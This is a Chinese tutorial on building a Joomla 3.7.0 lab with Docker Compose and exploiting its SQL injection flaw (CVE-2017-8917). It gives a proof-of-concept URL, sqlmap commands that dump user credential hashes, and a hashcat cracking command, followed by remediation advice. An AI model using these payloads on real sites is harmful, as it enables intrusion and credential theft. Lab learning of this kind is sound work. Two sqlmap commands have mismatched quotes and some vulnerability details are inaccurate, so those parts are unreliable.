Kali Linux下用Docker Compose自动化搭建Joomla 3.7.0漏洞靶场与SQL注入实战

在网络安全学习过程中,搭建一个可重复使用的漏洞环境是每个渗透测试初学者的必经之路。传统手动配置方式不仅耗时耗力,还容易因环境差异导致复现失败。本文将带你使用Docker Compose在Kali Linux中一键部署Joomla 3.7.0漏洞环境(CVE-2017-8917),并通过SQLMap完成从漏洞检测到数据提取的全流程实战。

1. 环境准备与Docker Compose配置

1.1 系统基础环境检查

首先确保你的Kali Linux已安装最新版Docker和Docker Compose:

# 检查Docker版本
docker --version
# 检查Docker Compose版本
docker-compose --version

若未安装,可通过以下命令快速安装:

sudo apt update && sudo apt install -y docker.io docker-compose

提示:建议使用Kali Linux 2023.x或更新版本,避免兼容性问题

1.2 编写docker-compose.yml

在项目目录(如~/vuln_labs/joomla)创建docker-compose.yml文件:

version: '3.8'
services:
  joomla_vuln:
    image: vulhub/joomla:3.7.0
    ports:
      - "8080:80"
    environment:
      - MYSQL_ROOT_PASSWORD=root
      - MYSQL_DATABASE=joomla_db
    depends_on:
      - db
    
  db:
    image: mysql:5.7
    environment:
      - MYSQL_ROOT_PASSWORD=root
      - MYSQL_DATABASE=joomla_db
    volumes:
      - mysql_data:/var/lib/mysql

volumes:
  mysql_data:

关键配置说明:

  • 端口映射:将容器80端口映射到主机8080端口
  • 数据库配置:使用MySQL 5.7作为后端数据库
  • 数据持久化:通过volume保存数据库数据

2. 靶场部署与初始化

2.1 启动漏洞环境

执行以下命令启动服务:

# 进入项目目录
cd ~/vuln_labs/joomla
# 后台启动服务
docker-compose up -d

验证服务状态:

docker-compose ps

正常输出应显示两个容器(joomla_vuln和db)状态为"Up"

2.2 访问并初始化Joomla

在浏览器访问http://<your_kali_ip>:8080,按以下步骤初始化:

  1. 选择语言(建议English)
  2. 数据库配置:
    • Database Type: MySQLi
    • Hostname: db
    • Username: root
    • Password: root
    • Database Name: joomla_db
  3. 设置管理员账号(建议使用弱密码如admin/admin123方便测试)

注意:在生产环境中绝对不要使用弱密码,此处仅用于教学目的

3. 漏洞原理分析(CVE-2017-8917)

3.1 漏洞成因

Joomla 3.7.0版本在com_fields组件中存在未过滤的SQL查询参数,攻击者可通过特制请求实现:

  • 注入点option=com_fields&view=fields&layout=modal&list[fullordering]
  • 漏洞类型:二次注入+报错注入
  • 影响范围:Joomla 3.7.0及之前版本

3.2 漏洞验证POC

直接在浏览器地址栏尝试以下URL:

http://<your_kali_ip>:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

若页面返回包含数据库用户名的XML解析错误,则证明漏洞存在。

4. SQLMap自动化利用实战

4.1 基础扫描与确认

使用SQLMap进行初步检测:

sqlmap -u "http://192.168.1.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering]" --risk=3 --level=5

关键参数说明:

  • -p:指定测试参数
  • --risk:提高测试风险等级
  • --level:提高测试深度

4.2 数据库信息提取

获取当前数据库信息:

sqlmap -u "http://192.168.1.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering]" --current-db

典型输出:

[12:34:56] [INFO] the back-end DBMS is MySQL
[12:34:57] [INFO] fetching current database
current database: 'joomla_db'

4.3 表结构枚举

列出数据库中的所有表:

sqlmap -u "http://192.168.1.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering"] -D joomla_db --tables

重点关注#__users表(Joomla实际存储时会添加前缀)

4.4 用户凭证提取

获取用户表中的敏感信息:

sqlmap -u "http://192.168.1.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering"] -D joomla_db -T "#__users" -C "username,password" --dump

输出示例:

+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$9ZcB9J5U6w9eKoCUkBQKW.7Xlb0HXo6Q1qL19VzRjJKl7bJQYqXu |
+----------+--------------------------------------------------------------+

4.5 密码破解建议

Joomla使用bcrypt哈希存储密码,可使用以下工具破解:

  • John the Ripper
  • Hashcat(模式3200)

示例Hashcat命令:

hashcat -m 3200 hash.txt rockyou.txt

5. 环境管理与最佳实践

5.1 日常维护命令

# 停止环境
docker-compose down
# 启动环境
docker-compose up -d
# 彻底清除(包括数据卷)
docker-compose down -v

5.2 安全注意事项

  1. 网络隔离:建议在内部网络或VPN中运行漏洞环境
  2. 日志监控:定期检查Docker日志
    docker-compose logs
    
  3. 资源限制:为容器设置CPU和内存限制
    # 在docker-compose.yml中添加
    deploy:
      resources:
        limits:
          cpus: '1'
          memory: 512M
    

6. 漏洞修复方案

虽然本文聚焦漏洞利用,但作为负责任的测试者应该了解修复方案:

  1. 官方补丁:升级到Joomla 3.7.1或更高版本
  2. 临时缓解
    • 禁用com_fields组件
    • 添加输入过滤规则
  3. WAF规则:添加针对SQL注入的防护规则

7. 扩展学习资源

推荐进一步学习的漏洞库:

对于想深入理解SQL注入原理的读者,建议研究:

  • MySQL注入技巧
  • 报错注入原理
  • 时间盲注与布尔盲注
  • ORM注入防御方案

更多推荐